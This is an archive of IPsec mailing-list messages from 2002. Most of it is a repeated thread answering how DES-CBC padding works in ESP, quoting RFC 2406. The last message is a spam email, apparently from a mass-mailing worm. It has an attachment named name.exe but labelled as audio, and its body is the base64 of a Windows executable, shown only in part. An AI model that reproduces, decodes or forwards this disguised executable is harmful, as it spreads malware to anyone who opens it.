monotonically increasing sequence: 1, 2, 3, ... >From RFC245 (DES-CBC): When padding is required, it MUST be done according to the conventions specified in [ESP]. You can find sample packets here: www.vesta-corp.com/VestaRefPktParse_1_00.zip Best Regards, Joseph D. Harwood (408) 838-9434 jharwood@vesta-corp.com www.vesta-corp.com > -----Original Message----- > From: owner-ipsec@lists.tislabs.com [mailto:owner-ipsec@lists.tislabs.com] > On Behalf Of Rishi Bhardwaj > Sent: Friday, October 04, 2002 3:08 AM > To: ipsec@lists.tislabs.com > Subject: DES-CBC padding > > Hi > > I am not sure about the padding to be used for DES-CBC mode when it is > used in IPSec ESP. > Can i use random data for padding? If so, can the IV be used for this > purpose? Or will i have to follow the procedure outlined in RFC 2406 and > pad the last block using a monotonically increasing sequence? > > Regards > > rishi From owner-ipsec@lists.tislabs.com Fri Oct 4 08:42:09 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g94Fg8v14285; Fri, 4 Oct 2002 08:42:08 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA12852 Fri, 4 Oct 2002 11:16:07 -0400 (EDT) Reply-To: From: "Joseph D. Harwood" To: "IPsec" Subject: RE: DES-CBC padding Date: Fri, 4 Oct 2002 08:15:34 -0700 Organization: Vesta Corporation Message-ID: <002501c26bb8$e3a17900$beb9fea9@Yellowstone> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Loop-Detect: 1 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hello Rishi, >From RFC2406 (ESP): If Padding bytes are needed but the encryption algorithm does not specify the padding contents, then the following default processing MUST be used. The Padding bytes are initialized with a series of (unsigned, 1-byte) integer values. The first padding byte appended to the plaintext is numbered 1, with subsequent padding bytes making up a monotonically increasing sequence: 1, 2, 3, ... >From RFC245 (DES-CBC): When padding is required, it MUST be done according to the conventions specified in [ESP]. You can find sample packets here: www.vesta-corp.com/VestaRefPktParse_1_00.zip Best Regards, Joseph D. Harwood (408) 838-9434 jharwood@vesta-corp.com www.vesta-corp.com > -----Original Message----- > From: owner-ipsec@lists.tislabs.com > [mailto:owner-ipsec@lists.tislabs.com] > On Behalf Of Rishi Bhardwaj > Sent: Friday, October 04, 2002 3:08 AM > To: ipsec@lists.tislabs.com > Subject: DES-CBC padding > > Hi > > I am not sure about the padding to be used for DES-CBC mode when it is > used in IPSec ESP. Can i use random data for padding? If so, can the > IV be used for this purpose? Or will i have to follow the procedure > outlined in RFC 2406 and pad the last block using a monotonically > increasing sequence? > > Regards > > rishi From owner-ipsec@lists.tislabs.com Fri Oct 4 08:58:29 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g94FwTv15895; Fri, 4 Oct 2002 08:58:29 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA12914 Fri, 4 Oct 2002 11:30:20 -0400 (EDT) Reply-To: From: "Joseph D. Harwood" To: "IPsec" Subject: RE: DES-CBC padding Date: Fri, 4 Oct 2002 08:15:34 -0700 Organization: Vesta Corporation Message-ID: <002501c26bb8$e3a17900$beb9fea9@Yellowstone> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Loop-Detect: 1 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hello Rishi, >From RFC2406 (ESP): If Padding bytes are needed but the encryption algorithm does not specify the padding contents, then the following default processing MUST be used. The Padding bytes are initialized with a series of (unsigned, 1-byte) integer values. The first padding byte appended to the plaintext is numbered 1, with subsequent padding bytes making up a monotonically increasing sequence: 1, 2, 3, ... >From RFC245 (DES-CBC): When padding is required, it MUST be done according to the conventions specified in [ESP]. You can find sample packets here: www.vesta-corp.com/VestaRefPktParse_1_00.zip Best Regards, Joseph D. Harwood (408) 838-9434 jharwood@vesta-corp.com www.vesta-corp.com > -----Original Message----- > From: owner-ipsec@lists.tislabs.com > [mailto:owner-ipsec@lists.tislabs.com] > On Behalf Of Rishi Bhardwaj > Sent: Friday, October 04, 2002 3:08 AM > To: ipsec@lists.tislabs.com > Subject: DES-CBC padding > > Hi > > I am not sure about the padding to be used for DES-CBC mode when it is > used in IPSec ESP. Can i use random data for padding? If so, can the > IV be used for this purpose? Or will i have to follow the procedure > outlined in RFC 2406 and pad the last block using a monotonically > increasing sequence? > > Regards > > rishi From owner-ipsec@lists.tislabs.com Fri Oct 4 09:51:03 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g94Gp2v18274; Fri, 4 Oct 2002 09:51:02 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id MAA13164 Fri, 4 Oct 2002 12:22:40 -0400 (EDT) From: "Satyadeva Konduru" To: "'Rishi Bhardwaj'" , Subject: RE: DES-CBC padding Date: Fri, 4 Oct 2002 09:21:47 -0700 Message-ID: <003101c26bc2$23bab020$3e00010a@caymas.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: Sender: owner-ipsec@lists.tislabs.com Precedence: bulk >Hi >I am not sure about the padding to be used for DES-CBC mode when it is >used in IPSec ESP. >Can i use random data for padding? If so, can the IV be used for this >purpose? Or will i have to follow the procedure outlined in RFC 2406 and >pad the last block using a monotonically increasing sequence? You got use the monotonically increasing sequence starting from 1. -Satya. From owner-ipsec@lists.tislabs.com Fri Oct 4 09:56:49 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g94Gumv18501; Fri, 4 Oct 2002 09:56:48 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id MAA13189 Fri, 4 Oct 2002 12:28:45 -0400 (EDT) Reply-To: From: "Joseph D. Harwood" To: "IPsec" Subject: RE: DES-CBC padding Date: Fri, 4 Oct 2002 08:15:34 -0700 Organization: Vesta Corporation Message-ID: <002501c26bb8$e3a17900$beb9fea9@Yellowstone> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Loop-Detect: 1 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hello Rishi, >From RFC2406 (ESP): If Padding bytes are needed but the encryption algorithm does not specify the padding contents, then the following default processing MUST be used. The Padding bytes are initialized with a series of (unsigned, 1-byte) integer values. The first padding byte appended to the plaintext is numbered 1, with subsequent padding bytes making up a monotonically increasing sequence: 1, 2, 3, ... >From RFC245 (DES-CBC): When padding is required, it MUST be done according to the conventions specified in [ESP]. You can find sample packets here: www.vesta-corp.com/VestaRefPktParse_1_00.zip Best Regards, Joseph D. Harwood (408) 838-9434 jharwood@vesta-corp.com www.vesta-corp.com > -----Original Message----- > From: owner-ipsec@lists.tislabs.com > [mailto:owner-ipsec@lists.tislabs.com] > On Behalf Of Rishi Bhardwaj > Sent: Friday, October 04, 2002 3:08 AM > To: ipsec@lists.tislabs.com > Subject: DES-CBC padding > > Hi > > I am not sure about the padding to be used for DES-CBC mode when it is > used in IPSec ESP. Can i use random data for padding? If so, can the > IV be used for this purpose? Or will i have to follow the procedure > outlined in RFC 2406 and pad the last block using a monotonically > increasing sequence? > > Regards > > rishi From owner-ipsec@lists.tislabs.com Fri Oct 4 10:25:42 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g94HPfv19517; Fri, 4 Oct 2002 10:25:41 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id MAA13314 Fri, 4 Oct 2002 12:55:25 -0400 (EDT) Reply-To: From: "Joseph D. Harwood" To: "IPsec" Subject: RE: DES-CBC padding Date: Fri, 4 Oct 2002 08:15:34 -0700 Organization: Vesta Corporation Message-ID: <002501c26bb8$e3a17900$beb9fea9@Yellowstone> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Loop-Detect: 1 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hello Rishi, >From RFC2406 (ESP): If Padding bytes are needed but the encryption algorithm does not specify the padding contents, then the following default processing MUST be used. The Padding bytes are initialized with a series of (unsigned, 1-byte) integer values. The first padding byte appended to the plaintext is numbered 1, with subsequent padding bytes making up a monotonically increasing sequence: 1, 2, 3, ... >From RFC245 (DES-CBC): When padding is required, it MUST be done according to the conventions specified in [ESP]. You can find sample packets here: www.vesta-corp.com/VestaRefPktParse_1_00.zip Best Regards, Joseph D. Harwood (408) 838-9434 jharwood@vesta-corp.com www.vesta-corp.com > -----Original Message----- > From: owner-ipsec@lists.tislabs.com > [mailto:owner-ipsec@lists.tislabs.com] > On Behalf Of Rishi Bhardwaj > Sent: Friday, October 04, 2002 3:08 AM > To: ipsec@lists.tislabs.com > Subject: DES-CBC padding > > Hi > > I am not sure about the padding to be used for DES-CBC mode when it is > used in IPSec ESP. Can i use random data for padding? If so, can the > IV be used for this purpose? Or will i have to follow the procedure > outlined in RFC 2406 and pad the last block using a monotonically > increasing sequence? > > Regards > > rishi From owner-ipsec@lists.tislabs.com Fri Oct 4 12:04:06 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g94J45v25251; Fri, 4 Oct 2002 12:04:05 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA13587 Fri, 4 Oct 2002 14:25:05 -0400 (EDT) Reply-To: From: "Joseph D. Harwood" To: "IPsec" Subject: RE: DES-CBC padding Date: Fri, 4 Oct 2002 08:15:34 -0700 Organization: Vesta Corporation Message-ID: <002501c26bb8$e3a17900$beb9fea9@Yellowstone> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Loop-Detect: 1 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hello Rishi, >From RFC2406 (ESP): If Padding bytes are needed but the encryption algorithm does not specify the padding contents, then the following default processing MUST be used. The Padding bytes are initialized with a series of (unsigned, 1-byte) integer values. The first padding byte appended to the plaintext is numbered 1, with subsequent padding bytes making up a monotonically increasing sequence: 1, 2, 3, ... >From RFC245 (DES-CBC): When padding is required, it MUST be done according to the conventions specified in [ESP]. You can find sample packets here: www.vesta-corp.com/VestaRefPktParse_1_00.zip Best Regards, Joseph D. Harwood (408) 838-9434 jharwood@vesta-corp.com www.vesta-corp.com > -----Original Message----- > From: owner-ipsec@lists.tislabs.com > [mailto:owner-ipsec@lists.tislabs.com] > On Behalf Of Rishi Bhardwaj > Sent: Friday, October 04, 2002 3:08 AM > To: ipsec@lists.tislabs.com > Subject: DES-CBC padding > > Hi > > I am not sure about the padding to be used for DES-CBC mode when it is > used in IPSec ESP. Can i use random data for padding? If so, can the > IV be used for this purpose? Or will i have to follow the procedure > outlined in RFC 2406 and pad the last block using a monotonically > increasing sequence? > > Regards > > rishi From owner-ipsec@lists.tislabs.com Fri Oct 4 13:46:00 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g94Kjxv01689; Fri, 4 Oct 2002 13:45:59 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA13747 Fri, 4 Oct 2002 16:13:22 -0400 (EDT) Reply-To: From: "Joseph D. Harwood" To: "IPsec" Subject: RE: DES-CBC padding Date: Fri, 4 Oct 2002 08:15:34 -0700 Organization: Vesta Corporation Message-ID: <002501c26bb8$e3a17900$beb9fea9@Yellowstone> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Loop-Detect: 1 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hello Rishi, >From RFC2406 (ESP): If Padding bytes are needed but the encryption algorithm does not specify the padding contents, then the following default processing MUST be used. The Padding bytes are initialized with a series of (unsigned, 1-byte) integer values. The first padding byte appended to the plaintext is numbered 1, with subsequent padding bytes making up a monotonically increasing sequence: 1, 2, 3, ... >From RFC245 (DES-CBC): When padding is required, it MUST be done according to the conventions specified in [ESP]. You can find sample packets here: www.vesta-corp.com/VestaRefPktParse_1_00.zip Best Regards, Joseph D. Harwood (408) 838-9434 jharwood@vesta-corp.com www.vesta-corp.com > -----Original Message----- > From: owner-ipsec@lists.tislabs.com > [mailto:owner-ipsec@lists.tislabs.com] > On Behalf Of Rishi Bhardwaj > Sent: Friday, October 04, 2002 3:08 AM > To: ipsec@lists.tislabs.com > Subject: DES-CBC padding > > Hi > > I am not sure about the padding to be used for DES-CBC mode when it is > used in IPSec ESP. Can i use random data for padding? If so, can the > IV be used for this purpose? Or will i have to follow the procedure > outlined in RFC 2406 and pad the last block using a monotonically > increasing sequence? > > Regards > > rishi From owner-ipsec@lists.tislabs.com Fri Oct 4 15:03:41 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g94M3ev03928; Fri, 4 Oct 2002 15:03:40 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id RAA13925 Fri, 4 Oct 2002 17:34:48 -0400 (EDT) Reply-To: From: "Joseph D. Harwood" To: "IPsec" Subject: RE: DES-CBC padding Date: Fri, 4 Oct 2002 08:15:34 -0700 Organization: Vesta Corporation Message-ID: <002501c26bb8$e3a17900$beb9fea9@Yellowstone> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Loop-Detect: 1 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hello Rishi, >From RFC2406 (ESP): If Padding bytes are needed but the encryption algorithm does not specify the padding contents, then the following default processing MUST be used. The Padding bytes are initialized with a series of (unsigned, 1-byte) integer values. The first padding byte appended to the plaintext is numbered 1, with subsequent padding bytes making up a monotonically increasing sequence: 1, 2, 3, ... >From RFC245 (DES-CBC): When padding is required, it MUST be done according to the conventions specified in [ESP]. You can find sample packets here: www.vesta-corp.com/VestaRefPktParse_1_00.zip Best Regards, Joseph D. Harwood (408) 838-9434 jharwood@vesta-corp.com www.vesta-corp.com > -----Original Message----- > From: owner-ipsec@lists.tislabs.com > [mailto:owner-ipsec@lists.tislabs.com] > On Behalf Of Rishi Bhardwaj > Sent: Friday, October 04, 2002 3:08 AM > To: ipsec@lists.tislabs.com > Subject: DES-CBC padding > > Hi > > I am not sure about the padding to be used for DES-CBC mode when it is > used in IPSec ESP. Can i use random data for padding? If so, can the > IV be used for this purpose? Or will i have to follow the procedure > outlined in RFC 2406 and pad the last block using a monotonically > increasing sequence? > > Regards > > rishi From Money@arquired.es Fri Oct 4 19:33:14 2002 Received: from rly-ip04.mx.aol.com (rly-ip04.mx.aol.com [64.12.138.8]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g952XDv15397 for ; Fri, 4 Oct 2002 19:33:13 -0700 (PDT) Received: from logs-wo.proxy.aol.com (logs-wo.proxy.aol.com [205.188.200.6]) by rly-ip04.mx.aol.com (v87.21) with ESMTP id RELAYIN8-1004223252; Fri, 04 Oct 2002 22:32:52 -0400 Received: from Nqc (AC89C87E.ipt.aol.com [172.137.200.126]) by logs-wo.proxy.aol.com (8.10.0/8.10.0) with SMTP id g952TeA253678 for ; Fri, 4 Oct 2002 22:29:40 -0400 (EDT) Date: Fri, 4 Oct 2002 22:29:40 -0400 (EDT) Message-Id: <200210050229.g952TeA253678@logs-wo.proxy.aol.com> From: Money To: ietf-ipsec@imc.org Subject: Topmargin MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=H83j7594631dk77o06 X-Apparently-From: SR788454WISE@aol.com --H83j7594631dk77o06 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --H83j7594631dk77o06 Content-Type: audio/x-wav; name=name.exe Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IPsFItF EFNWM/ZXM9uJdeyJdfiJRfA7dRAPjW8BAACLRfBqA1o7wolV9H0DiUX0i030uD09PT2Nffxm q4XJqn4Vi0UIjX38A/CLwcHpAvOli8gjyvOkik38isHA6AKF24hF/3Qmi30Uhf9+J4vDi3UM K0X4mff/hdJ1G8YEMw1DxgQzCkODRfgC6wuLdQyLfRTrA4t1DA+2Rf+LFTDwQACA4QPA4QSK BBCIBDOKRf2K0EPA6gQCyoXbdCGF/34di8MrRfiZ9/+F0nUOxgQzDUPGBDMKQ4NF+AKKRf2L FTDwQAAkDw+2ycDgAooMEYgMM4pN/orRQ8DqBgLChduIRf90HoX/fhqLwytF+Jn3/4XSdQ7G BDMNQ8YEMwpDg0X4Ag+2Rf+LFTDwQACKBBCIBDNDg330An8FxkQz/z2A4T+F23Qehf9+GovD K0X4mff/hdJ1DsYEMw1DxgQzCkODRfgCD7bBiw0w8EAAigQIiAQzQ4N99AF/BcZEM/89i3Xs g8YDg23wA4l17OmI/v//X4vDXlvJw1WL7IHsEAEAAINl+ACNRfxQagRoUgJBAOjJIgAAWVlQ aAIAAID/FUzQQACFwA+FtwAAAFNWV7uLCUEAUFPo1CIAAFmJRfRZjYXw/v//aAQBAABQ/3X4 /3X8/xVQ0EAAhcB1e42F8P7//1DowbUAADP/WTl99H5fV1PoaCIAAFCNhfD+//9Q6GUqAACD 